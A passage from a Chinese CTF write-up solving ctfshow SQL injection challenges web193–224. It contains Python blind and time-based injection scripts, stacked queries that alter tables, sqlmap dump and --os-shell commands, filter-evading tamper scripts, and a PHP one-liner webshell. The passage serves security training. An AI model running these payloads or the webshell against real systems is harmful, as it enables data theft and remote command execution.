payload="admin'and(select database())like'{}%'#".format(flag+j)
#print(payload)
data={"username":payload,"password":1}
res=requests.post(url,data=data)
if "密码错误" == res.json()['msg']:
flag+=j
print(flag)
break
print(flag)

经过实际测试发现,用regexp可能会输出+,这里可以把+从字典里面去除,或者用like可以避免一下。

+:匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。

web194

过滤了:/file|into|ascii|ord|hex|substr|char|left|right|substring/i,还是可以用上面的脚本跑:

web195

题目提示了是堆叠注入,其实考察堆叠注入的时候,大多都是对表、对字段、对值做一些宏观上面的操作。比如更改字段名啊,修改字段的值啊,甚至修改表名之类。然后再结合题目的验证逻辑来达到我们的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
查询语句:
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑:
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

一开始我找到了异或注入的点:

随便一个利用的板子:1^if(database()=0x63,0,1),但select啥的都被过滤了,可能就是直接从pass里面去盲注。但pass可能对应多行,所以直接1^if(substr(pass,1,1)=0x,0,1)不太行,可能会出现语法错误。异或这里我本地测试,逻辑可能有些问题。

要想去对应到where语句的条件,需要用到and逻辑语句。本地demo测试:

select pass from test where username='admin' and if(substr(pass,1,1)='a',0,1) 这种是没问题的。 pass可以对应上前面的admin的值。

这个题目正确的思路是通过堆叠去改掉pass的值,然后再去登录嘛:

username=111;update反引号ctfshow_user反引号set反引号pass反引号=111&password=111

然后再去传username=0&password=111

这里这里的表名和字段要用反引号去包裹,比如ctfshow_userpass

web196

这个题目限制了输入的长度,比较坑的地方就是他给了过滤规则:

/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i但这个规则部分并未生效。

比如这里的select就还可以用。。所以题目可能有时候就是一个迷惑作用,还得通过实测来判断有无过滤。

payload:?username=-1;select(1);&password=1

web197

我是傻逼!!!一开始卡了很久脚本一直没打通,很奇怪整个逻辑看下来是没问题的,后面问了怀师傅才发现我把判断条件写错了。。

这里判断条件是登陆成功,而不是登录成功。。。。麻了。。。。

这个题目思路就是把ctfshow_user表的idpass字段互换一下,然后用username=0x61646d696e(admin的16进制编码),pass=1-100 来遍历。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import requests

url = "http://9d0eca0c-a65f-4f7e-b2b5-98402c419170.challenge.ctf.show/api/"

for i in range(100):
if i == 0:
data={'username':'0;alter table ctfshow_user change column `pass` `ppp` varchar(255);'
'alter table ctfshow_user change column `id` `pass` '
'varchar(255);alter table ctfshow_user change column `ppp` `id` varchar(255);'
,'password':f'{i}'}
print(data)
r = requests.post(url, data=data)

data={'username':'0x61646d696e','password':f'{i}'}
print(data)
r=requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break

web198

同197

web199

上面的方式打不通了,参考了Y4大佬的方式,可以这样:

username=0;show tables;&password=ctfshow_user

web199_1.png

而判断逻辑是这样的:

1
2
3
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

所以猜想可能这里row[0]取得是最后一次执行结果的数据。

web200

同199

web201

联系sqlmap语法的使用,其实这里有几个地方需要注意下:

一个是传参点:https://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1 ,这个是通过抓包来分析看到的一个传参接口。

另外一个就是要带上User-agent&Referer,并且指定User-agent的值为sqlmap,Referer的值为ctf.show ; 这一处不知道咋来的,题目好像没看到提示。

然后就可以愉快的用sqlmap去梭了,当然你需要一个sqlmap

基本命令(get传参)

1
2
3
4
5
6
7
8
9
10
python sqlmap.py -u "http://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1" --referer="ctf.show" --user-agent="sqlmap"    #检查漏洞

python sqlmap.py -u "http://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1" --referer="ctf.show" --user-agent="sqlmap" --dbs #爆库

python sqlmap.py -u "http://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web --tables #爆ctfshow_web库对应的表

python sqlmap.py -u "http://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web -T ctfshow_user --columns #爆ctfshow_user表的字段

python sqlmap.py -u "http://c2023add-c3ee-4a05-963e-75c383bb0609.challenge.ctf.show/api/?id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web -T ctfshow_user --dump #爆ctfshow_user表的值

web202

和上题的区别就是,这里是post传参,注意这里的 –data “id=1” , id要用双引号来包裹,而不是单引号。

1
2
3
4
5
6
7
8
9
python sqlmap.py -u "http://4751c31d-372a-4816-9dfb-3fac542546ba.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" --user-agent="sqlmap"    #检查漏洞

python sqlmap.py -u "http://4751c31d-372a-4816-9dfb-3fac542546ba.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" --user-agent="sqlmap" --dbs #爆库

python sqlmap.py -u "http://4751c31d-372a-4816-9dfb-3fac542546ba.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web --tables #爆ctfshow_web库对应的表

python sqlmap.py -u "http://4751c31d-372a-4816-9dfb-3fac542546ba.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web -T ctfshow_user --columns#爆ctfshow_user表的字段

python sqlmap.py -u "http://4751c31d-372a-4816-9dfb-3fac542546ba.challenge.ctf.show/api/" --data "id=1" --referer="ctf.show" --user-agent="sqlmap" -D ctfshow_web -T ctfshow_user --dump #爆ctfshow_user表的值

web203

这个题目就是得加上Content-type ,值为 text/plain,否则是按照表单去提交的,put接收不到。

1
2
python sqlmap.py -u "http://05a2ca42-c007-422e-8452-3dc5bfd87519.challenge.ctf.show/api/index.php" --me
thod="PUT" --data="id=1" --user-agent=="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --dbs

web204

1
python sqlmap.py -u "http://9ff3b4f8-f542-4dde-ba3e-048ba175cf8e.challenge.ctf.show/api/index.php"  --data="id=1" --method="PUT" --user-agent="sqlmap" --referer="ctf.show" --cookie="PHPSESSID=ec3c49c1lgq7e4pohgsk89g90g;ctfshow=05fcd4334159472a05a47cfa2cf3c3b5;" --headers="Content-Type:text/plain" --dbs

web205

这个题目一开始访问/api/index.php 会先有个鉴权的动作,即会先访问/api/getToken.php ,针对这种情况,需要用到--safe-url参数和--safe-freq参数

1
2
3
4
5
6
7
8
9
python sqlmap.py -u "http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/index.php"  --data="id=1" --method="PUT" --user-agent="sqlmap" --referer="ctf.show" --cookie="PHPSESSID=jfoi7tfi0na97dn5601sc1mmt7" --headers="Content-Type:text/plain" --safe-url="http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/getToken.php" --safe-freq=1 --dbs  #爆库

python sqlmap.py -u "http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --user-agent="sqlmap" --referer="ctf.show" --cookie="PHPSESSID=jfoi7tfi0na97dn5601sc1mmt7" --headers="Content-Type:text/plain" --safe-url="http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables #爆表

python sqlmap.py -u "http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --user-agent="sqlmap" --referer="ctf.show" --cookie="PHPSESSID=jfoi7tfi0na97dn5601sc1mmt7" --headers="Content-Type:text/plain" --safe-url="http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --columns#爆字段名

python sqlmap.py -u "http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/index.php" --data="id=1" --method="PUT" --user-agent="sqlmap" --referer="ctf.show" --cookie="PHPSESSID=jfoi7tfi0na97dn5601sc1mmt7" --headers="Content-Type:text/plain" --safe-url="http://fdd5f8bc-7f36-4f96-b250-6c2fa87c6216.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump #爆值


web206

同web205

web207

这个题目主要是把空格给过滤了,可以用/**/ 来绕过。这里可以直接用现成的tamper脚本,加上--tamper="space2comment.py"即可。

1
python sqlmap.py -u "http://983a9b28-03e7-4200-8db5-08ecf0aba8c9.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer="ctf.show" --user-agent="sqlmap" --headers="Content-type: text/plain" --cookie="PHPSESSID=cc2pif4n8c281otiedt78s352o" --safe-url="http://983a9b28-03e7-4200-8db5-08ecf0aba8c9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py --dbs

当然也可以直接去编写tamper脚本,这里我写了一个test.py,然后放在/sqlmap/tamper下,也是可以的。test.py 内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.enums import DBMS

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace(" ","/**/")

经过测试,发现也是可以的:

1
python sqlmap.py -u "http://b03b859c-35e1-4c50-88c6-fa7c06b67c9a.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer="ctf.show" --user-agent="sqlmap" --headers="Content-type: text/plain" --cookie="PHPSESSID=u5l9sgt0ik1c77nn4k7fcospaj" --safe-url="http://b03b859c-35e1-4c50-88c6-fa7c06b67c9a.challenge.ctf.show/api/getToken.php" --safe-freq=1  --tamper=test.py --dbs

web208

在空格过滤的基础上,加上了对select的过滤,把select替换成空,这里可以双写绕过。当然其实这里没有严格区分大小写,可以大写去绕过。而且sqlmap本身就是大写的SELECT,所以这里不需要双写绕过。还有一点,看到别的师傅的payload:--prefix="')",指明了闭合方式,其实这里不指明也可以。sqlmap可以去识别。

1
python sqlmap.py -u "http://1c23fe25-e0c5-4bab-921d-402132c1b011.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --cookie="PHPSESSID=ia7o1r6mmfrjho7b44hqspc21e" --user-agent="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url="http://1c23fe25-e0c5-4bab-921d-402132c1b011.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=test.py,test2.py --dbs

当然这里的test2.py不加也是可以的,test2.py脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
payload=payload.replace("select","seselectlect")
payload=payload.replace(" ","/**/")
return payload

web209

过滤了=,可以用like来替代,编写tamper脚本如下: web209:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
if payload:
retval=''
for i in payload:
if i == ' ':
retval+=chr(0x09)
elif i == '=':
retval=retval+chr(0x09)+'like'+chr(0x09)
else:
retval=retval+i

return retval

最终的payload:

1
python sqlmap.py -u "http://80472d35-c6cb-459d-9632-2dd1b2b39524.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --cookie="PHPSESSID=0s03qdjka7rjua3k9o5r3e6loa" --user-agent="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url="http://80472d35-c6cb-459d-9632-2dd1b2b39524.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web209.py --dbs

web210

1
2
3
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

按照这个结构,逆向编码一下就行了,先反转,再base64编码,再反转,再base64编码,按照这个结构来写脚本即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
import base64

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()

不过这里有个问题,bytesstr

base64.b64encode(payload),这里的payload对象必须为bytes,所以前面需要encode编码一下。同时,最终的payload得是str格式。所以需要decode一下,不然会打不通。。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
import base64

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()

web211

类似的,只是在210的基础上对空格做了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
import base64

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(" ", "/**/")
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()

最终的payload:

1
2
python sqlmap.py -u "http://9fff402d-4607-4757-b470-23de14bba515.challenge.ctf.show/api/index.php" --me
thod="PUT" --data="id=1" --cookie="PHPSESSID=h0n53gugrlmej78r0ba32m1r5b" --user-agent="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url="http://9fff402d-4607-4757-b470-23de14bba515.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web211.py --dbs

web212

和212差不多,payload如下:

1
python sqlmap.py -u "http://29e67444-b822-426c-af57-7a96c6b58b4b.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --cookie="PHPSESSID=g7toueeq90nqcsn1n5fgtn495u" --user-agent="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url="http://29e67444-b822-426c-af57-7a96c6b58b4b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web211.py --dbs

web212.py的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.enums import DBMS
import base64

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(" ", chr(0x0a))
payload = payload[::-1].encode()
payload = base64.b64encode(payload)
payload = (payload.decode())[::-1]
payload = base64.b64encode(payload.encode())
return payload.decode()

web213

可以直接用212的脚本打,但是flag是不在表里面的,所以这里出题人是希望用os-shell

payload:

1
python sqlmap.py -u "http://114fe8c6-6bcc-4fbb-a41d-a242a8c019ea.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --cookie="PHPSESSID=224gksca18lh1o4rnodabjcjk8" --user-agent="sqlmap" --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url="http://114fe8c6-6bcc-4fbb-a41d-a242a8c019ea.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web212.py --os-shell

这里有个问题,我在官网下载的最新版的sqlmap,拿不到反弹的shell,但是可以写一个文件上传的PHP脚本进去。写进去之后再去访问上传一个后门文件即可。

换了ctfshow网站上给的那个版本的sqlmap,是可以正常弹shell的:

web213.png

然后去根目录下找到flag即可。

web214

考察的是时间盲注,注入点找半天没找出来,放弃了。。看了下wp发现是 /api/index.php。然后postipdebug,没啥过滤,基本上直接打。把之前时间盲注二分法的脚本拿过来改一下就可以用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://ec48efbb-ce6f-471c-86de-da3af0549418.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr((select database()),{i},1))>{mid},sleep(1),1)'
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web215

在web214的基础上多了一个引号闭合,其他的都没过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://93731bf8-3c92-4dec-a314-6520c8a52c66.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1'or if(ascii(substr((select database()),{i},1))>{mid},sleep(1),1)#"
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

这里有个坑,注释符我这里用%23是打不通的,得用#才行。猜测可能是这个题目的环境下,脚本打过去的数据不会被URL解码。一开始一直没发现是这个问题,因为我在浏览器上面用%23打过去是ok的,这里应该是自动给解码了的。

web216

给了语句提示,其实只需要想办法闭合就行了, where id = from_base64($id);,注意这里闭合from_base64函数的同时,还需要保证函数里面的参数格式是正确的,这样不会报错。即poc:debug=1&ip='MQ==')or if(1=1,sleep(2),1)# 注意这里的MQ==要带上引号。

demo有了,所以最后的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://89070fdc-ed88-401a-a5c9-3d4c92b82ee1.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"'MQ==')or if(ascii(substr((select database()),{i},1))>{mid},sleep(1),1)#"
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web217

过滤了sleep,可以用benchmark来代替:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://dd94cc05-9e93-4a7a-b9aa-5d3c603c45f8.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1)or if(ascii(substr((select database()),{i},1))>{mid},benchmark(400000,sha(1)),1)#"
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 1:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web218

sleep, benchmark 都被过滤了,可以用笛卡尔积来造成延时。核心部分:SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F来造成延时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://486a22ef-3d2e-486e-8874-e463b0f37f9b.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1)or if(ascii(substr((select database()),{i},1))>{mid},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)#"
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 1:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web219

在218基础上直接多过滤了一个rlike,不影响到上题整体的脚本,不过条件那里改下,把时间改短一点: if (t2-t1).seconds > 0.5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime
url = "http://81f97be7-c118-4b99-bbb9-c61652bec8e8.challenge.ctf.show/api/index.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"1)or if(ascii(substr((select database()),{i},1))>{mid},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),1)#"
t1=datetime.datetime.now()
data={"debug":1,"ip":payload}
r = requests.post(url=url,data=data)
t2=datetime.datetime.now()
if (t2-t1).seconds > 0.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web220

1
2
3
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

很多都过滤了,但是没有过滤like regexp之类的,这里利用regexp写了一个脚本,但是存在问题。regexp这种适用场景我觉得是得知道以哪个字母开头,第一个字符的匹配很关键,否则容易造成误匹配,但是我们在攻击时不可能事先知道被注入数据的开头,所以会有点问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import datetime
url="http://3fd0d4fd-427e-471b-a2be-aa59d318fcd2.challenge.ctf.show/api/index.php"
dicts="cabdefghijklmnopqrstuvwxyz_-{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
chars=''
flag=0
for i in range(100):
flag = 0
for j in dicts:
payload = "1)or if((select database())regexp '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),null)#".format(
chars + j)
print(payload)
t1 = datetime.datetime.now()
data = {"debug": 1, "ip": payload}
res = requests.post(url, data=data)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 0.5:
chars += j
print(chars)
flag = 1
break
if flag == 0:
break
print(chars)

针对这种问题,我们只要一位一位的去爆破就行了,这里substr,mid被过滤了,我们可以用left , right来替代:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
import datetime
url="http://3fd0d4fd-427e-471b-a2be-aa59d318fcd2.challenge.ctf.show/api/index.php"
dicts="abcdefghijklmnopqrstuvwxyz_-{}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
chars=''
flag=0
for i in range(1,100):
flag = 0
for j in dicts:
payload = "1)or if(left((select database()),{})regexp '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E,information_schema.schemata F),null)#".format(i,chars + j)
print(payload)
t1 = datetime.datetime.now()
data = {"debug": 1, "ip": payload}
res = requests.post(url, data=data)
t2 = datetime.datetime.now()
if (t2 - t1).seconds > 0.5:
chars += j
print(chars)
flag = 1
break
if flag == 0:
break
print(chars)

web221

这个考察的是limit后面接注入点,详细可以参考p神的一篇文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

payload:https://a4437f2c-e4f2-4e3e-8347-4c2909d03381.challenge.ctf.show/api/index.php?page=10&limit=10%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1);

web222

group by 后面的注入,可以直接盲注,原理和之前的差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import datetime

result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "http://b7185ce1-d257-4be6-b203-67a84e0ce4bc.challenge.ctf.show/api/index.php?u="+f"if(ascii(substr((select database()),{i},1))>{mid},sleep(0.1),1)"
print(payload)
t1=datetime.datetime.now()
r = requests.get(url=payload)
t2=datetime.datetime.now()
if (t2-t1).seconds > 1:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web223

过滤了数字,用之前做过的思路来打,true+true+... 这种形式来凑数字。

这里一开始一直没有打通,后面突然猛地想起来可能是编码的问题,因为我在URL栏上面输入的+会被当成空格。所以需要编码,这里得运用params来实现。

还有一个点,这里sleep(1),相当于sleep(21),因为前面group by的原因,可能把每一行都sleep一下,所以我们可以通过sleep((true)/(true+true+true+true+true+true+true+true+true+true))来减少时间。最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
import datetime
def createnum(n):
num='true+'*n
return num[:-1]
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
url="http://052609f5-a74c-401f-bfe4-115ba14d51d4.challenge.ctf.show/api/index.php"
payload = "if(ascii(substr(database(),{},true))>{},sleep((true)/(true+true+true+true+true+true+true+true+true+true)),null)".format(createnum(i), createnum(mid))
params={"u":payload}
print(params)
t1=datetime.datetime.now()
r = requests.get(url=url,params=params)
t2=datetime.datetime.now()
if (t2-t1).seconds > 1.5:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

如果觉得时间盲注太麻烦的话,也可以用?u=if(ascii(substr(database(),{},true))>{},username,true).format(createnum(i),createnum(mid)),根据不同回显来做判断条件也可以,会快很多。对应脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
import datetime
def createnum(n):
num='true+'*n
return num[:-1]
result = ''

i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
url="http://052609f5-a74c-401f-bfe4-115ba14d51d4.challenge.ctf.show/api/index.php"
payload = "if(ascii(substr(database(),{},true))>{},username,true)".format(createnum(i), createnum(mid))
params={"u":payload}
print(params)
r = requests.get(url=url,params=params)
if "AUTO" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)

web224

这个说实话真的想不到,filetype文件类型注入。

一开始尝试了弱口令爆破,发现不行。后面fuzz了一下,发现注释符,引号啥的都被过滤了,还限制输入字符的长度,当然可能只是前端限制。然后尝试去爆破,发现kali的dirsearch用不了,今天重新来看的时候,发现得在root环境下去使用。

扫描一下发现有robots.txt,upload.php啥的,访问robots.txt,会有一个pwdreset.php,重置一下密码登录就是一个上传的点。

这里怎么考的是文件上传加上sql注入,用群主的payload.bin传上去试一下,这个用010打开可以看到一句话的16进制0x3c3f3d60245f4745545b315d603f3e,密码对应1,get传参。

payload.bin的内容:

web224_1.png

对应的一句话木马脚本为:

1
<?=`$_GET[1]`?>  //相当于 system($1);

可以查看一下upload.php的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
die("Return Code: " . $_FILES["file"]["error"] . "<br />");
}
if($_FILES["file"]["size"]>10*1024){
die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
}

if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
die("file type error");
}
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $filename);
$con = mysqli_connect("localhost","root","root","ctf");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if (mysqli_multi_query($con, $sql)) {
header("location:filelist.php");
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($con);
}
mysqli_close($con);
}

?>

反思

